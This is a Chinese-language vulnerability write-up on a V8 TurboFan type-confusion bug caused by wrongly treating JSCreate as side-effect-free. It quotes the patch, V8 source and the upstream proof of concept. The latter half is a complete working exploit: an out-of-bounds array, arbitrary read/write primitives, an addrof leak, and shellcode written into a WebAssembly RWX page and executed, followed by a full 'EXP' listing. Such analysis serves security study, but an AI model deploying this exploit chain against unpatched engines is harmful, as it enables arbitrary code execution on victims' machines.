漏洞信息
分支:bdaa7d66a37adcc1f1d81c9b0f834327a74ffe07
成因:JIT优化过程中对操作的副作用推断错误导致可能的类型混淆
漏洞分析
看diff文件,diff文件很短,就加了一句。
index f43a348..ab4ced6 100644
--- a/src/compiler/node-properties.cc
+++ b/src/compiler/node-properties.cc
@@ -386,6 +386,7 @@
// We reached the allocation of the {receiver}.
return kNoReceiverMaps;
}
+ result = kUnreliableReceiverMaps; // JSCreate can have side-effect.
break;
}
case IrOpcode::kJSCreatePromise: {
就加了一个result,表示把这个节点标记为类型不可信的节点。
具体是为什么,首先要看看v8的一个inlining优化过程
inlining优化过程中,会对buildin函数的调用进行优化,减少函数调用到最少。
这个优化有两步,第一步是对那些对周围信息依赖比较少,且能对后面的优化提供便利的函数,会先调用ReduceJSCall来优化,然后是第二步对那些具有强依赖的函数进行优化。
这里我们关注第一步,也就是ReduceJSCall,它的源码:
// compiler/js-call-reducer.cc:3906
Reduction JSCallReducer::ReduceJSCall(Node* node,
const SharedFunctionInfoRef& shared) {
DCHECK_EQ(IrOpcode::kJSCall, node->opcode());
Node* target = NodeProperties::GetValueInput(node, 0);
// Do not reduce calls to functions with break points.
if (shared.HasBreakInfo()) return NoChange();
// Raise a TypeError if the {target} is a "classConstructor".
if (IsClassConstructor(shared.kind())) {
NodeProperties::ReplaceValueInputs(node, target);
NodeProperties::ChangeOp(
node, javascript()->CallRuntime(
Runtime::kThrowConstructorNonCallableError, 1));
return Changed(node);
}
// Check for known builtin functions.
int builtin_id =
shared.HasBuiltinId() ? shared.builtin_id() : Builtins::kNoBuiltinId;
switch (builtin_id) {
case Builtins::kArrayConstructor:
return ReduceArrayConstructor(node);
...
case Builtins::kReflectConstruct:
return ReduceReflectConstruct(node);
...
case Builtins::kArrayPrototypePop:
return ReduceArrayPrototypePop(node);
它会通过builtin_id来确定调用哪个reduce函数
这里在优化的时候,它会在优化时确定操作对象的类型,以此来快速确定用什么方法处理。这就需要用一个方法来确定函数执行的时候对象具体是什么类型
v8确定对象类型用的是MapInference这个属性,在优化的时候检查传入的map和对象的effect,如果effect确定map可靠,就不再做类型检查,直接按最初的类型做调用,否则就需要类型检查了。
// compiler/map-inference.h:25
// The MapInference class provides access to the "inferred" maps of an
// {object}. This information can be either "reliable", meaning that the object
// is guaranteed to have one of these maps at runtime, or "unreliable", meaning
// that the object is guaranteed to have HAD one of these maps.
//
// The MapInference class does not expose whether or not the information is
// reliable. A client is expected to eventually make the information reliable by
// calling one of several methods that will either insert map checks, or record
// stability dependencies (or do nothing if the information was already
// reliable).
// compiler/map-inference.cc:18
MapInference::MapInference(JSHeapBroker* broker, Node* object, Node* effect)
: broker_(broker), object_(object) {
ZoneHandleSet<Map> maps;
auto result =
NodeProperties::InferReceiverMapsUnsafe(broker_, object_, effect, &maps);
maps_.insert(maps_.end(), maps.begin(), maps.end());
maps_state_ = (result == NodeProperties::kUnreliableReceiverMaps)
? kUnreliableDontNeedGuard
: kReliableOrGuarded;
DCHECK_EQ(maps_.empty(), result == NodeProperties::kNoReceiverMaps);
}
在确定map是否有效时,会调用InferReceiverMapsUnsafe函数,也就是它patch的函数。这个函数会遍历输入对象的effect链,查看链上的每一个节点是否会产生副作用
// compiler/node-properties.cc:337
// static
NodeProperties::InferReceiverMapsResult NodePperts::InferReceiverMapsUnsafe(
JSHeapBroker* broker, Node* receiver, Node* effect,
ZoneHandleSet<Map>* maps_return) {
HeapObjectMatcher m(receiver);
if (m.HasValue()) {
HeapObjectRef receiver = m.Ref(broker);
// We don't use ICs for the Array.prototype and the Object.prototype
// because the runtime has to be able to intercept them properly, so
// we better make sure that TurboFan doesn't outsmart the system here
// by storing to elements of either prototype directly.
//
// TODO(bmeurer): This can be removed once the Array.prototype and
// Object.prototype have NO_ELEMENTS elements kind.
if (!receiver.IsJSObject() ||
!broker->IsArrayOrObjectPrototype(receiver.AsJSObject())) {
if (receiver.map().is_stable()) {
// The {receiver_map} is only reliable when we install a stability
// code dependency.
*maps_return = ZoneHandleSet<Map>(receiver.map().object());
return kUnreliableReceiverMaps;
}
}
}
InferReceiverMapsResult result = kReliableReceiverMaps;
while (true) {
switch (effect->opcode()) {
case IrOpcode::kMapGuard: {
Node* const object = GetValueInput(effect, 0);
if (IsSame(receiver, object)) {
*maps_return = MapGuardMapsOf(effect->op());
return result;
}
break;
}
case IrOpcode::kCheckMaps: {
Node* const object = GetValueInput(effect, 0);
if (IsSame(receiver, object)) {
*maps_return = CheckMapsParametersOf(effect->op()).maps();
return result;
}
break;
}
case IrOpcode::kJSCreate: {
if (IsSame(receiver, effect)) {
base::Optional<MapRef> initial_map = GetJSCreateMap(broker, receiver);
if (initial_map.has_value()) {
*maps_return = ZoneHandleSet<Map>(initial_map->object());
return result;
}
// We reached the allocation of the {receiver}.
return kNoReceiverMaps;
}
break;
}
default: {
DCHECK_EQ(1, effect->op()->EffectOutputCount());
if (effect->op()->EffectInputCount() != 1) {
// Didn't find any appropriate CheckMaps node.
return kNoReceiverMaps;
}
if (!effect->op()->HasProperty(Operator::kNoWrite)) {
// Without alias/escape analysis we cannot tell whether this
// {effect} affects {receiver} or not.
result = kUnreliableReceiverMaps;
}
break;
...
// Stop walking the effect chain once we hit the definition of
// the {receiver} along the {effect}s.
if (IsSame(receiver, effect)) return kNoReceiverMaps;
// Continue with the next {effect}.
DCHECK_EQ(1, effect->op()->EffectInputCount());
effect = NodeProperties::GetEffectInput(effect);
}
}
总的来说,一个高优先级的builtin函数的优化过程大致如下:
1、得到函数对应节点的value、effect和control输入
2、调用MapInference来获取对象的map来确定类型,如果没有就不优化。
3、调用RelyOnMapsPreferStability,来查看获取的类型是否可靠,如果可靠就不会进行类型检查。这里的可靠与否就是通过前面的InferReceiverMapsUnsafe的返回值来判断,如果是kUnreliableReceiverMaps就不可靠,否则可靠
4、通过类型信息判断如何执行相应的函数指令
而这个漏洞成因,就在patch的那一段中,它patch了kJSCreate类型节点的返回值,认为其是不可靠的,而漏洞版本中则认为它可靠。这里的问题就在于,在可以转换成kJSCreate类型节点的函数Reflect.construct中,可以接收一个proxy对象作为参数,通过在对象中重定义回调函数的方式可以对对象的类型进行转换,使得优化之后,产生的函数操作类型与对象是不同的,就产生了一个类型混淆的漏洞。
google提供的poc:
// Copyright 2020 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --allow-natives-syntax
let a = [0, 1, 2, 3, 4];
function empty() {}
function f(p) {
a.pop(Reflect.construct(empty, arguments, p));
}
let p = new Proxy(Object, {
get: () => (a[0] = 1.1, Object.prototype)
});
function main(p) {
f(p);
}
%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);
main(empty);
main(empty);
%OptimizeFunctionOnNextCall(main);
main(p);
poc的关键在于那个f函数。他在a对象的pop函数中嵌套了Reflect.construct函数,这个函数的作用为运行第一个参数对应是想要运行的函数,以第二个参数为函数的参数,第三个是可选的,作为第一个的构造函数使用。它这个proxy替换了()方法,这个empty函数在被Reflect.construct调用的时候,由于是用的proxy作为constructor,它的()对应的是修改a的类型为浮点数的功能,然后在触发优化之后,由于上面的漏洞,这里的pop调用的仍然是SMI的pop,只会弹出四个字节,而这个数组实际上已经是以八个字节为单位了,就会出现问题,在debug版的d8下后面使用a数组的时候就会报未对齐的错误。
漏洞利用
构造越界数组
既然我们可以用这个漏洞来使一个浮点数组调用整形数组的pop,我们也可以让一个整形数组调用浮点数组的push,来做到越界写一个值,通过调整数组大小,我们可以让这个值覆盖到下一个数组的length位,构造一个越界数组。
相关代码如下:
let a = [1.1,,,,,,,,,,,,,,,2.2,3.3,4.4]
let oobarray;
let arbarray;
a.pop();
a.pop();
a.pop();
function empty() {};
function f(p)
{
a.push(typeof(Reflect.construct(empty, arguments, p)) === Proxy?0.2:156842065920.05);
for(let i = 0;i<0x3003;i++){empty()};
}
let p = new Proxy(Object, {
get: function() {
a[0] = {};
oobarray = [1.1];
arbarray = new BigUint64Array(8);
arbarray[0] = 0x1111111111111111n;
arbarray[1] = 0x2222222222222222n;
arbarray[2] = 0x3333333333333333n;
arbarray[3] = 0x4444444444444444n;
return Object.prototype;
}
});
function exp(nt)
{
for(let i = 0;i<0x3003;i++)empty();
f(nt);
}
exp(empty);
exp(empty);
exp(p);
console.log(oobarray.length);
通过构造数组长度,覆盖oobarray的length位,使得oobarray能够越界读写。这里使用exp函数作为壳的原因为在优化的时候,如果不套这一层,不会产生JSCreate节点。
后面就是利用oobarray构造任意地址读写
这里构造任意地址读写用的是UInt64Array,因为这个版本下存在指针压缩,用这个可以做到获取指针压缩下的高位地址,而且修改它的base ptr和external ptr可以做到任意地址写,修改len可以修改写入的长度。
通过调试可以得到oobarray的数组头距离我们需要修改的三个值的偏移,不一定相同。
function ByteToBigIntArray(payload) //用来把字节转换成BigInt数组,所以任意写入的数据要用字节的方式表示
{
let sc = []
let tmp = 0n;
let lenInt = BigInt(Math.floor(payload.length/8))
for (let i = 0n; i < lenInt; i += 1n) {
tmp = 0n;
for(let j=0n; j<8n; j++){
tmp += BigInt(payload[i*8n+j])*(0x1n<<(8n*j));
}
sc.push(tmp);
}
let len = payload.length%8;
tmp = 0n;
for(let i=0n; i<len; i++){
tmp += BigInt(payload[lenInt*8n+i])*(0x1n<<(8n*i));
}
sc.push(tmp);
return sc;
}
function arbWrite(addr,buf)
{
sc = ByteToBigIntArray(buf);
oobarray[22] = mem.i2f(BigInt(sc.length));
oobarray[23] = mem.i2f(comphigh);
oobarray[24] = mem.i2f(addr);
for(let i = 0; i < sc.length; i++)
{
arbarray[i] = sc[i];
}
}
function arbWrite_nocomp(addr,buf)
{
sc = ByteToBigIntArray(buf);
oobarray[22] = mem.i2f(BigInt(sc.length));
oobarray[23] = mem.i2f(addr);
oobarray[24] = mem.i2f(0n);
for(let i = 0; i < sc.length; i++)
{
arbarray[i] = sc[i];
}
}
function arbRead(addr)
{
if(istagged(addr))
{
addr -= 1n;
}
oobarray[23] = mem.i2f(comphigh);
oobarray[24] = mem.i2f(addr);
let result = arbarray[0];
return result;
}
function arbRead_nocomp(addr)
{
if(istagged(addr))
{
addr -= 1n;
}
oobarray[23] = mem.i2f(addr);
oobarray[24] = mem.i2f(0n);
let result = arbarray[0];
return result;
}
在取址的时候,baseptr取的是64位,external ptr取32位,直接把base ptr改成目标地址,external ptr改成0就能做到无视指针压缩。而我们读取到的地址一般都只有低32位,所以这里也写了有指针压缩版的任意地址读写。
有了任意地址读写,我们还需要泄露对象地址来做shellcode的执行,这里我们使用一个对象数组,通过越界读取其存储的指针来获取对象地址。
let p = new Proxy(Object, {
get: function() {
a[0] = {};
oobarray = [1.1];
arbarray = new BigUint64Array(8);
arbarray[0] = 0x1111111111111111n;
arbarray[1] = 0x2222222222222222n;
arbarray[2] = 0x3333333333333333n;
arbarray[3] = 0x4444444444444444n;
objleaker = {
a : 0xc00c, //标志,用于调试的时候方便找到目标
b : oobarray //这里后面替换成需要泄露地址的对象
}
return Object.prototype;
}
});
function addrof(obj)
{
objleaker.b = obj;
let result = mem.f2i(oobarray[28])>>32n; //我们需要的地址只占读出来的高32位
return result;
}
有了任意地址读写和地址泄露,就可以通过wasm对象来创建RWX页,然后写入shellcode执行
RWX的地址存放的地方需要通过调试确定,方法为先确定wasm instance的地址,然后在它下面寻找RWX页的地址,一般偏移不会太大,我这里是+0x68的位置。RWX页地址具体是多少可以用vmmap查看。
let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f2 = wasm_instance.exports.main;
let instance_addr = addrof(wasm_instance);
console.log("[*]instance addr ==> "+hex(instance_addr));
let rwxaddr = arbRead(instance_addr+0x68n);
console.log("[*]RWX page ==> "+hex(rwxaddr));
let shellcode=[72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
arbWrite_nocomp(rwxaddr,shellcode);
f2();
完整EXP:
function hex(i)
{
return '0x'+i.toString(16).padStart(16, "0");
}
class Memory{
constructor()
{
this.buf = new ArrayBuffer(16);
this.f64 = new Float64Array(this.buf);
this.i64 = new BigUint64Array(this.buf);
}
f2i(val)
{
this.f64[0] = val;
return this.i64[0];
}
i2f(val)
{
this.i64[0] = val;
return this.f64[0];
}
}
let mem = new Memory();
let a = [1.1,,,,,,,,,,,,,,,2.2,3.3,4.4]
let oobarray;
let arbarray;
let objleaker;
a.pop();
a.pop();
a.pop();
ITERATIONS = 10000;
TRIGGER = false;
function empty() {};
function f(p) {
a.push(typeof(Reflect.construct(empty, arguments, p)) === Proxy?0.2:156842065920.05);
for(let i = 0;i<0x3003;i++){empty()};
}
let p = new Proxy(Object, {
get: function() {
a[0] = {};
oobarray = [1.1];
arbarray = new BigUint64Array(8);
arbarray[0] = 0x1111111111111111n;
arbarray[1] = 0x2222222222222222n;
arbarray[2] = 0x3333333333333333n;
arbarray[3] = 0x4444444444444444n;
objleaker = {
a : 0xc00c,
b : oobarray
}
return Object.prototype;
}
});
function exp(nt)
{
for(let i = 0;i<0x3003;i++)empty();
f(nt);
}
exp(empty);
exp(empty);
exp(p);
let len = mem.f2i(oobarray[22]);
let baseptr = mem.f2i(oobarray[23]);
let exptr = mem.f2i(oobarray[24]);
let comphigh = baseptr & 0xffffffff00000000n;
console.log("[*]array len ==> "+hex(len));
console.log("[*]array baseptr ==> "+hex(baseptr));
console.log("[*]array exptr ==> "+hex(exptr));
console.log("[*]high addr ==> "+hex(comphigh));
function addrof(obj)
{
objleaker.b = obj;
let result = mem.f2i(oobarray[28])>>32n;
return result;
}
function istagged(addr)
{
let tmp = Number(addr);
if(tmp & 1 != 0)
{
return true;
}
return false;
}
function ByteToBigIntArray(payload)
{
let sc = []
let tmp = 0n;
let lenInt = BigInt(Math.floor(payload.length/8))
for (let i = 0n; i < lenInt; i += 1n) {
tmp = 0n;
for(let j=0n; j<8n; j++){
tmp += BigInt(payload[i*8n+j])*(0x1n<<(8n*j));
}
sc.push(tmp);
}
let len = payload.length%8;
tmp = 0n;
for(let i=0n; i<len; i++){
tmp += BigInt(payload[lenInt*8n+i])*(0x1n<<(8n*i));
}
sc.push(tmp);
return sc;
}
function arbWrite(addr,buf)
{
sc = ByteToBigIntArray(buf);
oobarray[22] = mem.i2f(BigInt(sc.length));
oobarray[23] = mem.i2f(comphigh);
oobarray[24] = mem.i2f(addr);
for(let i = 0; i < sc.length; i++)
{
arbarray[i] = sc[i];
}
}
function arbWrite_nocomp(addr,buf)
{
sc = ByteToBigIntArray(buf);
oobarray[22] = mem.i2f(BigInt(sc.length));
oobarray[23] = mem.i2f(addr);
oobarray[24] = mem.i2f(0n);
for(let i = 0; i < sc.length; i++)
{
arbarray[i] = sc[i];
}
}
function arbRead(addr)
{
if(istagged(addr))
{
addr -= 1n;
}
oobarray[23] = mem.i2f(comphigh);
oobarray[24] = mem.i2f(addr);
let result = arbarray[0];
return result;
}
function arbRead_nocomp(addr)
{
if(istagged(addr))
{
addr -= 1n;
}
oobarray[23] = mem.i2f(addr);
oobarray[24] = mem.i2f(0n);
let result = arbarray[0];
return result;
}
let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f2 = wasm_instance.exports.main;
let instance_addr = addrof(wasm_instance);
console.log("[*]instance addr ==> "+hex(instance_addr));
let rwxaddr = arbRead(instance_addr+0x68n);
console.log("[*]RWX page ==> "+hex(rwxaddr));
let shellcode=[72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
arbWrite_nocomp(rwxaddr,shellcode);
f2();